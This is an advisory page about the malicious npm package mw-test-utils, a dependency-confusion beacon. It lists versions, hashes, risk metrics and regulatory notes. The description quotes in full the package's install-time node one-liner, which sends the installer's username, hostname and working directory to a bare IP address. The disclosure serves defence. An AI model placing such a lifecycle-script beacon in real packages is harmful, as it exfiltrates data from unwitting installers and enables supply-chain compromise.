Malicious code in mw-test-utils (npm)
Published Sources: OSV (Schadpakete)
- Malicious package
What is affected, what to do
Uninstall the package, isolate affected environments and rotate credentials that were available during installation.
Not sure whether and how you are affected? Ask a question about this vulnerability
Malicious package
npmmw-test-utils
“mw-test-utils” is registered as malicious in the npm repository. Anyone who installed the package should uninstall it immediately, isolate affected environments and rotate credentials that were present during installation.
Affected versions (3)
- 1.0.0
- 10.0.0
- 10.0.1
purl: pkg:npm/mw-test-utils
Sources (3)
amazon-inspector
IN-MAL-2026-022032Versions from this source: 10.0.1
sha256: bb198b7b7ab02867e72165c9abed0500578ce76d6a4703bb40d989f2d613dbac
amazon-inspector
IN-MAL-2026-022034Versions from this source: 1.0.0
sha256: bc25faf79aac980e4d025884748dc85b4e3b91f5e2582f6ce245db88616dbd2b
amazon-inspector
IN-MAL-2026-022035Versions from this source: 10.0.0
sha256: a6608eaa9172f527a45a181abd07a6041b24066ae2526863b9d42706113cc8cd
The OSSF `malicious-packages` namespace lists packages flagged as malicious by static analysis or sandbox detonation. An entry here is a confirmed finding, not a suspicion.
Metrics
—
Priority
No value is available for this vulnerability.
—
CVSS v3
No value is available for this vulnerability.
—
EPSS score
No value is available for this vulnerability.
Show all metrics
- Severity
- High
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 30.00 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
mw-test-utils was published to npm on 2026-10-27 from 06:56:36 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 1.0.0, 10.0.0, 10.0.1. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 1.0.0 is the latest version at the time of this report.
package.json declares a preinstall and a postinstall script, which npm runs on every install:
node -e "require('http').get('http://38.242.235.206/depconf/mw-test-utils/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})"
The postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.242.235.206. The README and the package description call the package a dependency-confusion proof of concept for a bug bounty program and say nothing else is done; the code matches that description. The name is a dependency-confusion candidate for an internal package of the named company, and the version numbers 1.0.0 and 10.0.0 are chosen so that a loose version range resolves to the public package. Nothing is executed beyond the two HTTP requests, and no data other than the three values above is sent.
Tarball sha256: 1.0.0: 06a3870b3807b00636c95eea01b057c748dd908fe2677c5dbc05516519a08c56 10.0.0: 70cf433a26fee76da087163816b8e3d1939fee9650b1cc6bd0b02b70bba90d9e 10.0.1: 1dbbab093762b688298ca21abab34018a5988b9e9647e56ac72152a3b2c8a011
Analysis was static only; nothing was executed.
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (bc25faf79aac980e4d025884748dc85b4e3b91f5e2582f6ce245db88616dbd2b)
The package ships no functional code (index.js exports an empty object) but defines preinstall and postinstall lifecycle scripts in package.json that run inline node code to issue HTTP GET requests to http://38.242.235.206/depconf/mw-test-utils/preinstall and /postinstall. Each request carries the installer's USER/USERNAME environment value, the OS hostname, and the current working directory as query parameters. The requests fire automatically on every npm install, over plain HTTP, to a hardcoded bare-IP address with no TLS and no caller-configurable endpoint. The package name follows an 'mw-*' pattern consistent with internal-namespace collision, so any build that resolves this name from the public registry performs the beacon under the resolving organization's identity. The README frames the package as a dependency-confusion placeholder, but that self-labeling is author-controlled and does not constitute consent from installers whose builds resolve the name.